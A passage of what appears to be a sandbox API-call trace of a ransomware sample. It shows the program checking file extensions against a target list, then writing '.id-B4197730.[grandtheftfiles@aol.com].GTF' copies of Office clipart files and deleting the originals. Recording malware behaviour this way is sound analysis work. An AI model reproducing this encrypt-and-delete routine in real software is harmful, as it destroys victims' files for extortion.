	[0170.447] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0170.447] lstrlenW (lpString=".ppt") returned 4
	[0170.447] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0170.447] lstrlenW (lpString=".zip") returned 4
	[0170.447] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.447] lstrlenW (lpString=".rar") returned 4
	[0170.447] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.447] lstrlenW (lpString=".bz2") returned 4
	[0170.447] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.447] lstrlenW (lpString=".7z") returned 3
	[0170.447] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0170.447] lstrlenW (lpString=".dbf") returned 4
	[0170.447] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0170.447] lstrlenW (lpString=".1cd") returned 4
	[0170.447] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0170.447] lstrlenW (lpString=".jpg") returned 4
	[0170.447] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.447] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0170.447] lstrlenW (lpString="J0107484.WMF") returned 12
	[0170.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0170.448] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=3040) returned 1
	[0170.449] CloseHandle (hObject=0x3dc) returned 1
	[0170.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf")) returned 0x220
	[0170.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0170.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0170.449] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.449] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0170.450] GetLastError () returned 0x0
	[0170.450] ReadFile (in: hFile=0x3dc, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0xbe0, lpOverlapped=0x0) returned 1
	[0170.579] WriteFile (in: hFile=0x568, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xbf0, lpOverlapped=0x0) returned 1
	[0170.579] ReadFile (in: hFile=0x3dc, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.579] WriteFile (in: hFile=0x568, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.580] SetEndOfFile (hFile=0x568) returned 1
	[0170.580] CloseHandle (hObject=0x568) returned 1
	[0170.580] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.580] SetEndOfFile (hFile=0x3dc) returned 1
	[0170.583] CloseHandle (hObject=0x3dc) returned 1
	[0170.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0170.584] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf")) returned 1
	[0170.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0170.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0170.585] lstrlenW (lpString=".doc") returned 4
	[0170.585] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.585] lstrlenW (lpString=".docx") returned 5
	[0170.585] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0170.585] lstrlenW (lpString=".pdf") returned 4
	[0170.585] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.585] lstrlenW (lpString=".xls") returned 4
	[0170.585] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.585] lstrlenW (lpString=".xlsx") returned 5
	[0170.585] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0170.585] lstrlenW (lpString=".ppt") returned 4
	[0170.585] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0170.585] lstrlenW (lpString=".zip") returned 4
	[0170.585] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.585] lstrlenW (lpString=".rar") returned 4
	[0170.585] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.585] lstrlenW (lpString=".bz2") returned 4
	[0170.585] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.585] lstrlenW (lpString=".7z") returned 3
	[0170.585] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0170.585] lstrlenW (lpString=".dbf") returned 4
	[0170.585] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0170.585] lstrlenW (lpString=".1cd") returned 4
	[0170.585] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0170.585] lstrlenW (lpString=".jpg") returned 4
	[0170.585] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0170.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0170.586] lstrlenW (lpString=".doc") returned 4
	[0170.586] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.586] lstrlenW (lpString=".docx") returned 5
	[0170.586] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0170.586] lstrlenW (lpString=".pdf") returned 4
	[0170.586] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.586] lstrlenW (lpString=".xls") returned 4
	[0170.586] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.586] lstrlenW (lpString=".xlsx") returned 5
	[0170.586] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0170.586] lstrlenW (lpString=".ppt") returned 4
	[0170.586] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0170.586] lstrlenW (lpString=".zip") returned 4
	[0170.586] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.586] lstrlenW (lpString=".rar") returned 4
	[0170.586] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.586] lstrlenW (lpString=".bz2") returned 4
	[0170.586] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.586] lstrlenW (lpString=".7z") returned 3
	[0170.586] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0170.586] lstrlenW (lpString=".dbf") returned 4
	[0170.586] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0170.586] lstrlenW (lpString=".1cd") returned 4
	[0170.586] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0170.586] lstrlenW (lpString=".jpg") returned 4
	[0170.586] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.587] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0170.587] lstrlenW (lpString="J0107492.WMF") returned 12
	[0170.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0170.600] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=6860) returned 1
	[0170.600] CloseHandle (hObject=0x428) returned 1
	[0170.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf")) returned 0x220
	[0170.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0170.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0170.601] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.601] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0170.604] GetLastError () returned 0x0
	[0170.604] ReadFile (in: hFile=0x428, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x1acc, lpOverlapped=0x0) returned 1
	[0170.653] WriteFile (in: hFile=0x3dc, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x1ad0, lpOverlapped=0x0) returned 1
	[0170.654] ReadFile (in: hFile=0x428, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.654] WriteFile (in: hFile=0x3dc, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.654] SetEndOfFile (hFile=0x3dc) returned 1
	[0170.654] CloseHandle (hObject=0x3dc) returned 1
	[0170.657] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.657] SetEndOfFile (hFile=0x428) returned 1
	[0170.713] CloseHandle (hObject=0x428) returned 1
	[0170.717] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0170.725] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf")) returned 1
	[0170.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0170.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0170.726] lstrlenW (lpString=".doc") returned 4
	[0170.726] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.726] lstrlenW (lpString=".docx") returned 5
	[0170.726] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0170.726] lstrlenW (lpString=".pdf") returned 4
	[0170.726] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.726] lstrlenW (lpString=".xls") returned 4
	[0170.726] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.726] lstrlenW (lpString=".xlsx") returned 5
	[0170.726] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0170.726] lstrlenW (lpString=".ppt") returned 4
	[0170.727] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0170.727] lstrlenW (lpString=".zip") returned 4
	[0170.727] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.727] lstrlenW (lpString=".rar") returned 4
	[0170.727] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.727] lstrlenW (lpString=".bz2") returned 4
	[0170.727] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.727] lstrlenW (lpString=".7z") returned 3
	[0170.727] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0170.727] lstrlenW (lpString=".dbf") returned 4
	[0170.727] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0170.727] lstrlenW (lpString=".1cd") returned 4
	[0170.727] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0170.727] lstrlenW (lpString=".jpg") returned 4
	[0170.727] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0170.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0170.727] lstrlenW (lpString=".doc") returned 4
	[0170.727] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.727] lstrlenW (lpString=".docx") returned 5
	[0170.727] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0170.727] lstrlenW (lpString=".pdf") returned 4
	[0170.727] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.727] lstrlenW (lpString=".xls") returned 4
	[0170.727] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.727] lstrlenW (lpString=".xlsx") returned 5
	[0170.727] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0170.727] lstrlenW (lpString=".ppt") returned 4
	[0170.727] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0170.727] lstrlenW (lpString=".zip") returned 4
	[0170.727] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.727] lstrlenW (lpString=".rar") returned 4
	[0170.728] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.728] lstrlenW (lpString=".bz2") returned 4
	[0170.728] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.728] lstrlenW (lpString=".7z") returned 3
	[0170.728] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0170.728] lstrlenW (lpString=".dbf") returned 4
	[0170.728] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0170.728] lstrlenW (lpString=".1cd") returned 4
	[0170.728] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0170.728] lstrlenW (lpString=".jpg") returned 4
	[0170.728] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.728] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0170.728] lstrlenW (lpString="J0107502.WMF") returned 12
	[0170.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0170.729] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=10836) returned 1
	[0170.729] CloseHandle (hObject=0x428) returned 1
	[0170.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf")) returned 0x220
	[0170.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0170.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0170.730] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.730] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0170.730] GetLastError () returned 0x0
	[0170.730] ReadFile (in: hFile=0x428, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x2a54, lpOverlapped=0x0) returned 1
	[0170.734] WriteFile (in: hFile=0x550, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x2a60, lpOverlapped=0x0) returned 1
	[0170.735] ReadFile (in: hFile=0x428, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.735] WriteFile (in: hFile=0x550, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.735] SetEndOfFile (hFile=0x550) returned 1
	[0170.735] CloseHandle (hObject=0x550) returned 1
	[0170.735] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.735] SetEndOfFile (hFile=0x428) returned 1
	[0170.737] CloseHandle (hObject=0x428) returned 1
	[0170.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0170.738] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf")) returned 1
	[0170.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0170.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0170.738] lstrlenW (lpString=".doc") returned 4
	[0170.738] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.738] lstrlenW (lpString=".docx") returned 5
	[0170.739] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0170.739] lstrlenW (lpString=".pdf") returned 4
	[0170.739] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.739] lstrlenW (lpString=".xls") returned 4
	[0170.739] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.739] lstrlenW (lpString=".xlsx") returned 5
	[0170.739] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0170.739] lstrlenW (lpString=".ppt") returned 4
	[0170.739] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0170.739] lstrlenW (lpString=".zip") returned 4
	[0170.739] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.739] lstrlenW (lpString=".rar") returned 4
	[0170.739] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.739] lstrlenW (lpString=".bz2") returned 4
	[0170.739] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.739] lstrlenW (lpString=".7z") returned 3
	[0170.739] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0170.739] lstrlenW (lpString=".dbf") returned 4
	[0170.739] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0170.739] lstrlenW (lpString=".1cd") returned 4
	[0170.739] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0170.739] lstrlenW (lpString=".jpg") returned 4
	[0170.739] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0170.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0170.739] lstrlenW (lpString=".doc") returned 4
	[0170.739] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.739] lstrlenW (lpString=".docx") returned 5
	[0170.739] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0170.739] lstrlenW (lpString=".pdf") returned 4
	[0170.739] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.739] lstrlenW (lpString=".xls") returned 4
	[0170.740] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.740] lstrlenW (lpString=".xlsx") returned 5
